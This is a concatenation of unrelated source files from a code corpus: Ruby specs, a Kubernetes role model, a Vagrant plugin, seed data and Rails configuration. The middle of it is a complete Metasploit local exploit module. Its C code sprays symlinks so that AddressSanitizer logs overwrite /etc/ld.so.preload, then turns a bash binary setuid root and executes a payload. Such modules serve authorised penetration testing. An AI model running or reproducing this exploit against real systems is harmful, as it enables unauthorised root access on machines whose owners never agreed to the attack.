uri = "http://localhost:8080/Web20Emulator/geocode?appid=gsd5f&street=100+Main+St&city=Berkeley&state=CA&zip=94611"
Net::HTTP.stub!(:get).with(URI.parse(uri)).and_return <<EOF
<?xml version="1.0" ?>
<ResultSet xmlns="urn:yahoo:maps" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:yahoo:maps http://api.local.yahoo.com/MapsService/V1/GeocodeResponse.xsd">
<Result precision="address">
<Latitude>
33.0000
</Latitude><Longitude>
-177.0000
</Longitude><Address>
100 Main St
</Address><City>
Berkeley
</City><State>
CA
</State><zip>
94611
</zip><Country>
USA
</Country>
</Result>
</ResultSet>
EOF
end
it "should find geolocation using web service" do
geo = Geolocation.new('100 Main St', 'Berkeley', 'CA', '94611')
geo.latitude.should == '33.0000'
geo.longitude.should == '-177.0000'
geo.address.should == '100 Main St'
geo.city.should == 'Berkeley'
geo.state.should == 'CA'
geo.country.should == 'USA'
geo.zip.should == '94611'
end
end
| 33.491525 | 186 | 0.725202 |
b9d577621942a05b6ea86e935cf4238d8f3b52e2
| 3,286 |
# encoding: utf-8
require 'spec_helper'
describe "Grouping" do
it "Sorts by section_id then name" do
g1 = Osm::Grouping.new(:section_id => 1, :name => 'a')
g2 = Osm::Grouping.new(:section_id => 2, :name => 'a')
g3 = Osm::Grouping.new(:section_id => 2, :name => 'b')
data = [g3, g1, g2]
data.sort.should == [g1, g2, g3]
end
describe "Using the API" do
it "Get for section" do
body = {'patrols' => [{
'patrolid' => 1,
'name' => 'Patrol Name',
'active' => 1,
'points' => '3',
}]}
FakeWeb.register_uri(:post, "https://www.onlinescoutmanager.co.uk/users.php?action=getPatrols§ionid=2", :body => body.to_json, :content_type => 'application/json')
patrols = Osm::Grouping.get_for_section(@api, 2)
patrols.size.should == 1
patrol = patrols[0]
patrol.id.should == 1
patrol.section_id.should == 2
patrol.name.should == 'Patrol Name'
patrol.active.should == true
patrol.points.should == 3
patrol.valid?.should == true
end
it "Handles no data" do
FakeWeb.register_uri(:post, "https://www.onlinescoutmanager.co.uk/users.php?action=getPatrols§ionid=2", :body => '', :content_type => 'application/json')
patrols = Osm::Grouping.get_for_section(@api, 2)
patrols.size.should == 0
end
it "Update in OSM (succeded)" do
grouping = Osm::Grouping.new(
:id => 1,
:section_id => 2,
:active => true,
:points => 3
)
grouping.name = 'Grouping'
url = "https://www.onlinescoutmanager.co.uk/users.php?action=editPatrol§ionid=#{grouping.section_id}"
HTTParty.should_receive(:post).with(url, {:body => {
'apiid' => @CONFIGURATION[:api][:osm][:id],
'token' => @CONFIGURATION[:api][:osm][:token],
'userid' => 'user_id',
'secret' => 'secret',
'patrolid' => grouping.id,
'name' => grouping.name,
'active' => grouping.active,
}}) { OsmTest::DummyHttpResult.new(:response=>{:code=>'200', :body=>''}) }
grouping.update(@api).should == true
end
it "Update points in OSM (succeded)" do
grouping = Osm::Grouping.new(
:id => 1,
:section_id => 2,
:active => true,
:name => 'Grouping'
)
grouping.points = 3
url = "https://www.onlinescoutmanager.co.uk/users.php?action=updatePatrolPoints§ionid=#{grouping.section_id}"
HTTParty.should_receive(:post).with(url, {:body => {
'apiid' => @CONFIGURATION[:api][:osm][:id],
'token' => @CONFIGURATION[:api][:osm][:token],
'userid' => 'user_id',
'secret' => 'secret',
'patrolid' => grouping.id,
'points' => grouping.points,
}}) { OsmTest::DummyHttpResult.new(:response=>{:code=>'200', :body=>'{}'}) }
grouping.update(@api).should == true
end
it "Update in OSM (failed)" do
grouping = Osm::Grouping.new(
:id => 1,
:section_id => 2,
)
grouping.name = 'Grouping'
grouping.points = 3
grouping.active = true
HTTParty.stub(:post) { OsmTest::DummyHttpResult.new(:response=>{:code=>'200', :body=>'{"done":false}'}) }
grouping.update(@api).should == false
end
end
end
| 31.295238 | 173 | 0.570907 |
e2b2279a5f55bc0753b49443f8274e04cc978a11
| 4,917 |
# frozen_string_literal: true
require 'soft_deletion'
module Kubernetes
class Role < ActiveRecord::Base
KUBE_RESOURCE_VALUES = {
"" => 1,
'm' => 0.001,
'K' => 1024,
'Ki' => 1000,
'M' => 1024**2,
'Mi' => 1000**2,
'G' => 1024**3,
'Gi' => 1000**3
}.freeze
self.table_name = 'kubernetes_roles'
GENERATED = '-change-me-'
has_soft_deletion
has_paper_trail skip: [:updated_at, :created_at]
belongs_to :project, inverse_of: :kubernetes_roles
has_many :kubernetes_deploy_group_roles,
class_name: 'Kubernetes::DeployGroupRole',
foreign_key: :kubernetes_role_id,
dependent: :destroy
before_validation :nilify_service_name
before_validation :strip_config_file
validates :project, presence: true
validates :name, presence: true, format: Kubernetes::RoleVerifier::VALID_LABEL
validates :service_name,
uniqueness: {scope: :deleted_at, allow_nil: true},
format: Kubernetes::RoleVerifier::VALID_LABEL,
allow_nil: true
validates :resource_name,
uniqueness: {scope: :deleted_at, allow_nil: true},
format: Kubernetes::RoleVerifier::VALID_LABEL
scope :not_deleted, -> { where(deleted_at: nil) }
after_soft_delete :delete_kubernetes_deploy_group_roles
# create initial roles for a project by reading kubernetes/*{.yml,.yaml,json} files into roles
def self.seed!(project, git_ref)
configs = kubernetes_config_files_in_repo(project, git_ref)
if configs.empty?
raise Samson::Hooks::UserError, "No configs found in kubernetes folder or invalid git ref #{git_ref}"
end
configs.each do |config_file|
scope = where(project: project)
next if scope.where(config_file: config_file.path, deleted_at: nil).exists?
deploy = (config_file.deploy || config_file.job)
# deploy / job
name = deploy.fetch(:metadata).fetch(:labels).fetch(:role)
# service
if service = config_file.service
service_name = service[:metadata][:name]
if where(service_name: service_name).exists?
service_name << "#{GENERATED}#{rand(9999999)}"
end
end
# ensure we have a unique resource name
resource_name = deploy.fetch(:metadata).fetch(:name)
if where(resource_name: resource_name).exists?
resource_name = "#{project.permalink}-#{resource_name}".tr('_', '-')
end
project.kubernetes_roles.create!(
config_file: config_file.path,
name: name,
resource_name: resource_name,
service_name: service_name
)
end
end
# roles for which a config file exists in the repo
# ... we ignore those without to allow users to deploy a branch that changes roles
def self.configured_for_project(project, git_sha)
project.kubernetes_roles.not_deleted.select do |role|
path = role.config_file
next unless file_contents = project.repository.file_content(path, git_sha)
Kubernetes::RoleConfigFile.new(file_contents, path) # run validations
end
end
def defaults
return unless raw_template = project.repository.file_content(config_file, 'HEAD', pull: false)
begin
config = RoleConfigFile.new(raw_template, config_file)
rescue Samson::Hooks::UserError
return
end
config.elements.detect do |resource|
next unless spec = resource[:spec]
replicas = spec[:replicas] || 1
next unless limits = spec.dig(:template, :spec, :containers, 0, :resources, :limits)
next unless cpu = parse_resource_value(limits[:cpu])
next unless ram = parse_resource_value(limits[:memory]) # TODO: rename this and the column to memory
ram /= 1024**2 # we store megabyte
break {cpu: cpu, ram: ram.round, replicas: replicas}
end
end
private
def nilify_service_name
self.service_name = service_name.presence
end
def parse_resource_value(v)
return unless v.to_s =~ /^(\d+(?:\.\d+)?)(#{KUBE_RESOURCE_VALUES.keys.join('|')})$/
$1.to_f * KUBE_RESOURCE_VALUES.fetch($2)
end
def delete_kubernetes_deploy_group_roles
kubernetes_deploy_group_roles.destroy_all
end
def strip_config_file
self.config_file = config_file.to_s.strip
end
class << self
# all configs in kubernetes/* at given ref
def kubernetes_config_files_in_repo(project, git_ref)
folder = 'kubernetes'
files = project.repository.file_content(folder, git_ref).
to_s.split("\n").
map { |f| "#{folder}/#{f}" }
files.grep(/\.(yml|yaml|json)$/).map do |path|
next unless file_contents = project.repository.file_content(path, git_ref)
Kubernetes::RoleConfigFile.new(file_contents, path)
end.compact
end
end
end
end
| 32.562914 | 109 | 0.654871 |
f74da7eacaaad9bd2cf165c3ef6ed4cc14084259
| 396 |
#
# Author:: Mohit Sethi (<[email protected]>)
# Copyright:: Copyright (c) 2013 Mohit Sethi.
#
module VagrantPlugins
module HP
module Action
class MessageAlreadyCreated
def initialize(app, env)
@app = app
end
def call(env)
env[:ui].info(I18n.t('vagrant_hp.already_created'))
@app.call(env)
end
end
end
end
end
| 18 | 61 | 0.580808 |
b9f397fbb112aa0026a9be212db61726d4ef7ea5
| 1,081 |
# encoding: utf-8
require 'spec_helper'
describe Github::Repos::Hooks, '#test' do
let(:user) { 'peter-murach' }
let(:repo) { 'github' }
let(:hook_id) { 1 }
let(:request_path) { "/repos/#{user}/#{repo}/hooks/#{hook_id}/test" }
before {
stub_post(request_path).to_return(:body => body, :status => status,
:headers => {:content_type => "application/json; charset=utf-8"})
}
after { reset_authentication_for(subject) }
context "resource tested successfully" do
let(:body) { '' }
let(:status) { 204 }
it "should fail to test without 'user/repo' parameters" do
expect { subject.test }.to raise_error(ArgumentError)
end
it "should fail to test resource without 'hook_id'" do
expect { subject.test user, repo }.to raise_error(ArgumentError)
end
it "should trigger test for the resource" do
subject.test user, repo, hook_id
a_post(request_path).should have_been_made
end
end
it_should_behave_like 'request failure' do
let(:requestable) { subject.test user, repo, hook_id }
end
end # test
| 26.365854 | 71 | 0.66235 |
5d9ce541955620a524af5fe4a37ac00c94c46ec8
| 213 |
$LOAD_PATH << './lib'
require 'textrazor'
require 'pp'
api_key = "<API_KEY>"
text = 'Nicolas Sarkozy, Francois Hollande et Jacques Chirac se sont rencontres a Paris.'
pp TextRazor::parse_entities(api_key, text)
| 23.666667 | 89 | 0.741784 |
e2a36ae2af990df33c7f32f40d7fde7aede05242
| 3,700 |
require 'spec_helper'
require 'bosh/dev/download_adapter'
require 'bosh/dev/local_download_adapter'
require 'bosh/dev/promoter'
require 'bosh/dev/git_tagger'
require 'bosh/dev/git_branch_merger'
require 'open3'
require 'bosh/dev/command_helper'
describe 'promotion' do
let!(:origin_repo_path) { Dir.mktmpdir(['promote_test_repo', '.git']) }
after { FileUtils.rm_rf(origin_repo_path) }
let!(:workspace_path) { Dir.mktmpdir('promote_test_workspace') }
after { FileUtils.rm_rf(workspace_path) }
before do
Dir.chdir(origin_repo_path) do
exec_cmd('git init --bare .')
end
Dir.chdir(workspace_path) do
exec_cmd("git clone #{origin_repo_path} .")
config_git_user
File.write('initial-file.go', 'initial-code')
exec_cmd('git add -A')
exec_cmd("git commit -m 'initial commit'")
exec_cmd("git submodule add file://#{workspace_path} bat")
exec_cmd('git add -A')
exec_cmd('git commit -m "bat"')
exec_cmd('git push origin master')
end
# recreate workspace dir
FileUtils.rm_rf(workspace_path)
Dir.mkdir(workspace_path)
end
before do
allow(Bosh::Dev::DownloadAdapter).to(receive(:new).with(logger)) { Bosh::Dev::LocalDownloadAdapter.new(logger) }
end
let!(:release_patch_file) { Tempfile.new(['promote_test_release', '.patch']) }
after { release_patch_file.delete }
it 'commits the release patch to a stable tag and then merges to the master and feature branches' do
candidate_sha = nil
Dir.chdir(workspace_path) do
# feature development
exec_cmd("git clone #{origin_repo_path} .")
config_git_user
exec_cmd('git checkout master')
exec_cmd('git checkout -b feature_branch')
File.write('feature-file.go', 'feature-code')
exec_cmd('git add -A')
exec_cmd("git commit -m 'added new file'")
exec_cmd('git push origin feature_branch')
# get candidate sha (begining of CI pipeline)
candidate_sha = exec_cmd('git rev-parse HEAD').first.strip
# release creation (middle of CI pipeline)
File.write('release-file.go', 'release-code')
exec_cmd('git add -A')
exec_cmd("git diff --staged > #{release_patch_file.path}")
end
# recreate workspace dir
FileUtils.rm_rf(workspace_path)
Dir.mkdir(workspace_path)
# promote (end of CI pipeline)
Dir.chdir(workspace_path) do
exec_cmd("git clone #{origin_repo_path} .")
config_git_user
exec_cmd('git checkout feature_branch')
# instead of getting the patch from S3, copy from the local patch file
allow(Bosh::Dev::UriProvider).to receive(:release_patches_uri).with('', '0000-final-release.patch').and_return(release_patch_file.path)
# disable promotion of stemcells, gems & the release
build = instance_double('Bosh::Dev::Build', promote: nil, promoted?: false)
allow(Bosh::Dev::Build).to receive(:candidate).and_return(build)
rake_input_args = {
candidate_build_number: '0000',
candidate_sha: candidate_sha,
feature_branch: 'feature_branch',
stable_branch: 'master',
}
promoter = Bosh::Dev::Promoter.build(rake_input_args)
promoter.promote
# expect new tag stable-0000 to exist
tagger = Bosh::Dev::GitTagger.new(logger)
tag_sha = tagger.tag_sha('stable-0000') # errors if tag does not exist
expect(tag_sha).to_not be_empty
# expect sha of tag to be in feature_branch and master
merger = Bosh::Dev::GitBranchMerger.new(Dir.pwd, logger)
expect(merger.branch_contains?('master', tag_sha)).to be(true)
expect(merger.branch_contains?('feature_branch', tag_sha)).to be(true)
end
end
end
| 35.576923 | 141 | 0.686486 |
018f4ceb35c7d0b71485d5e4949972e6e7f68c09
| 9,021 |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems using
setuid executables compiled with AddressSanitizer (ASan).
ASan configuration related environment variables are permitted when
executing setuid executables built with libasan. The `log_path` option
can be set using the `ASAN_OPTIONS` environment variable, allowing
clobbering of arbitrary files, with the privileges of the setuid user.
This module uploads a shared object and sprays symlinks to overwrite
`/etc/ld.so.preload` in order to create a setuid root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Szabolcs Nagy', # Discovery and PoC
'infodox', # unsanitary.sh Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2016-02-17',
'Platform' => 'linux',
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'References' =>
[
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
],
'Notes' =>
{
'AKA' => ['unsanitary.sh'],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error 'Compiling failed:'
print_line output
end
register_file_for_cleanup path
chmod path
end
def check
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{suid_exe_path} is setuid"
# Check if the executable was compiled with ASan
#
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
# we can detect ASan via linked libraries. (`objdump` could also be used).
#
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
# This approach works regardless of whether the setuid executable is readable,
# with the obvious disadvantage that it requires invoking the executable.
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
else
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
end
vprint_good "#{suid_exe_path} was compiled with ASan"
unless has_gcc?
print_error 'gcc is not installed. Compiling will fail.'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless writable? pwd.to_s.strip
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
@log_prefix = ".#{rand_text_alphanumeric 5..10}"
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
rootshell_name = ".#{rand_text_alphanumeric 5..10}"
@rootshell_path = "#{base_dir}/#{rootshell_name}"
rootshell = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
EOF
upload_and_compile @rootshell_path, rootshell, '-Wall'
lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_path = "#{base_dir}/#{lib_name}.so"
lib = <<-EOF
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
if (setuid(0) || setgid(0))
_exit(1);
unlink("/etc/ld.so.preload");
chown("#{@rootshell_path}", 0, 0);
chmod("#{@rootshell_path}", 04755);
_exit(0);
}
EOF
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'
spray_name = ".#{rand_text_alphanumeric 5..10}"
spray_path = "#{base_dir}/#{spray_name}"
spray = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
pid_t pid = getpid();
char buf[64];
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
symlink("/etc/ld.so.preload", buf);
}
}
EOF
upload_and_compile spray_path, spray, '-Wall'
exp_name = ".#{rand_text_alphanumeric 5..10}"
exp_path = "#{base_dir}/#{exp_name}"
exp = <<-EOF
#!/bin/sh
#{spray_path}
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
#{lib_path}
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
EOF
upload_and_chmodx exp_path, exp
print_status 'Launching exploit...'
output = cmd_exec exp_path
output.each_line { |line| vprint_status line.chomp }
unless setuid? @rootshell_path
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
end
print_good "Success! #{@rootshell_path} is set-uid root!"
vprint_line cmd_exec "ls -la #{@rootshell_path}"
print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
end
def cleanup
# Safety check to ensure we don't delete everything in the working directory
if @log_prefix.to_s.strip.eql? ''
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
else
cmd_exec "rm #{pwd}/#{@log_prefix}*"
end
ensure
super
end
def on_new_session(session)
# Remove rootshell executable
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @rootshell_path
else
session.shell_command_token "rm -f '#{@rootshell_path}'"
end
ensure
super
end
end
| 30.579661 | 106 | 0.639175 |
910314faa907588ea57b53dad4fa7a091fec821f
| 3,265 |
# require 'Faker'
#
# @darren_password = User.digest("Tt123456")
# @password = User.digest("Password1")
# @user_id = [2,3,4,5]
# @renter_email = Faker::Internet.unique.email
#
# def get_renter_id(l,r)
# if l == r
# return r+1
# else
# return r
# end
# end
# unless User.find_by( email: "[email protected]" )
# User.create!(
# email: "[email protected]",
# password: @darren_password,
# first_name: 'test',
# last_name: 'test_last',
# image: '',
# address: '155 Yorkville Ave'
# )
# end
# unless User.find_by( email: "[email protected]" )
# User.create!(
# email: "[email protected]",
# password: @password,
# first_name: 'Boro',
# last_name: 'Admin',
# image: '',
# address: '155 Yorkville Ave'
# )
# end
# unless User.find_by( email: @renter_email )
# renter = User.create!(
# email: @renter_email,
# password: @password,
# first_name: Faker::Name.name,
# last_name: Faker::Name.name,
# address: Faker::Address.street_address,
# age: Faker::Number.between(21,99),
# gender: "male",
# admin: false,
# image: ''
# )
# end
# 5.times do
# @temp_email = Faker::Internet.unique.email
# unless User.find_by( email: @temp_email )
# u = User.create!(
# email: @temp_email,
# password: @password,
# first_name: Faker::Name.name,
# last_name: Faker::Name.name,
# address: Faker::Address.street_address,
# age: Faker::Number.between(21,99),
# gender: "male",
# admin: false,
# image: File.new("./public/user.jpg")
# )
# 5.times do
# @weekday_price = Faker::Number.between(50,90)
# @weekend_price = @weekday_price * 1.13
# c = u.tools.create!(
# tool_type: "drill",
# category: "powertools",
# price: @weekday_price,
# brand: "Dewalt",
# description: Faker::Lorem.paragraph,
# condition: "good",
# power: ['Electric','Gas'].sample,
# location: Faker::Address.street_address + "," + Faker::Address.city + "," + Faker::Address.country
# )
# 3.times do
# c.tool_photos.create!(
# image: File.new("./public/download.jpg")
# )
# end
# b1 = c.bookings.create!(
# start_date: DateTime.now,
# end_date: DateTime.now + (1/24.0),
# leaser_id: u.id,
# renter_id: renter.id
# )
# b2 = c.bookings.create!(
# start_date: DateTime.now + (1/24.0),
# end_date: DateTime.now + (2/24.0),
# leaser_id: u.id,
# renter_id: renter.id
# )
# s1 = Sale.create!(
# price: 25,
# deposit: 20,
# final_payment: 110,
# insurance_fee: 20,
# number_nights: 4,
# taxes: 10,
# total_price: 130,
# booking_id: b1.id,
# leaser_id: u.id,
# renter_id: get_renter_id(u.id, @user_id.sample)
# )
# s2 = Sale.create!(
# price: 25,
# deposit: 20,
# final_payment: 110,
# insurance_fee: 20,
# number_nights: 4,
# taxes: 10,
# total_price: 130,
# booking_id: b2.id,
# leaser_id: u.id,
# renter_id: get_renter_id(u.id, @user_id.sample)
# )
# end
# end
# end
| 27.436975 | 108 | 0.540888 |
79455435fc4084fdff1105ae2dccf2fa9b1981ba
| 243 |
# frozen_string_literal: true
FactoryBot.define do
factory :relationship do
name { 'Relationship' }
trait :valid_relationship do
name { Faker::Lorem.word }
end
trait :owner do
name { 'owner' }
end
end
end
| 16.2 | 32 | 0.641975 |
1d68b04846e66fa59448e449e543d10de8879929
| 334 |
cask "ifunbox" do
version "1.8"
sha256 "19bef7c6079cb3d13dc109478c473e420643e3164ed02b668f76220f60884a11"
url "http://dl.i-funbox.com/updates/ifunbox.mac/#{version}/ifunboxmac.dmg"
appcast "http://dl.i-funbox.com/updates/ifunbox.mac/update.xml"
name "iFunBox"
homepage "http://www.i-funbox.com/"
app "iFunBox.app"
end
| 27.833333 | 76 | 0.745509 |
26eddef819e85e59206528de0e1e448fe83444a2
| 132 |
class RemoveSessionItemIdFromPolls < ActiveRecord::Migration[5.0]
def change
remove_column :polls, :session_item_id
end
end
| 22 | 65 | 0.787879 |
e9e5f092f710a13a2e8f26618980b59a05d5d54f
| 263 |
Rails.application.routes.draw do
resources :user_trails, only: [:index, :create, :destroy]
resources :trails, only: [:index, :show, :update]
resources :users, only: [:index, :show, :create, :update, :destroy]
post "/login", to: "authentication#login"
end
| 37.571429 | 69 | 0.695817 |
e83f76cd259a5f193d44130c688050fa2f319ab0
| 1,257 |
RSpec.describe ActiveSupport::SecurityUtils do
describe '::fixed_length_secure_compare' do
context 'when the given strings are equal' do
context 'when the given strings have different length' do
it 'raises ArgumentError' do
expect {
ActiveSupport::SecurityUtils.fixed_length_secure_compare("foo", "foobar")
}.to raise_error(ArgumentError)
end
end
context 'when the given strings have same length' do
it 'returns true' do
expect(ActiveSupport::SecurityUtils.fixed_length_secure_compare("foo", "foo")).to eql(true)
end
end
end
context 'when the given strings are not equal' do
it 'returns false' do
expect(ActiveSupport::SecurityUtils.fixed_length_secure_compare("foo", "bar")).to eql(false)
end
end
end
describe '::secure_compare' do
context 'when the given strings are equal' do
it 'returns true' do
expect(ActiveSupport::SecurityUtils.secure_compare("foo", "foo")).to eql(true)
end
end
context 'when the given strings are not equal' do
it 'returns false' do
expect(ActiveSupport::SecurityUtils.secure_compare("foo", "bar")).to eql(false)
end
end
end
end
| 31.425 | 101 | 0.663484 |
b9082047ae1db1f2f4a8112dc0145464c45da645
| 1,945 |
######################################################################
# Copyright (c) 2008-2013, Alliance for Sustainable Energy.
# All rights reserved.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
######################################################################
######################################################################
# == Synopsis
#
# Standard unconstrained optimization problem in two variables.
# f(x) = (1-x_1)^2 + 100*(x_2 - x_1^2)^2
#
# == Useage
#
# == Example
#
######################################################################
require "#{File.dirname(__FILE__)}/../OptimizationProblem.rb"
class LinearFunction < OptimizationProblem
def initialize(x0 = Array.new(2,0.0), verbose = false)
super(2,0,0,x0,verbose)
end
def f_eval(x)
check_input(x)
value = (1.0 - x[0])
if @verbose
puts "In LinearFunction.rb, x[0] = " + x[0].to_s
puts "In LinearFunction.rb, x[1] = " + x[1].to_s
puts "In LinearFunction.rb, f = " + value.to_s
end
return value
end
def f_to_s
return "(1 - x_1)"
end
end
# create an instance so RunDakotaOnTestProblem can find this class
LinearFunction.new
| 32.966102 | 82 | 0.569666 |
389f8a20cf354ffcd7a2e0b758ad7f18f9f02670
| 810 |
#
# Copyright:: Copyright (c) 2016 GitLab B.V.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
Gitlab[:node] = node
if File.exists?('/etc/gitlab/gitlab.rb')
Gitlab.from_file('/etc/gitlab/gitlab.rb')
end
node.consume_attributes(Gitlab.generate_config(node['fqdn']))
| 32.4 | 74 | 0.746914 |
1168d231964e0544ca442c19f557d303d4a0f86d
| 4,381 |
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options)
config.active_storage.service = :local
# Mount Action Cable outside main process or domain
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "eboshi_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
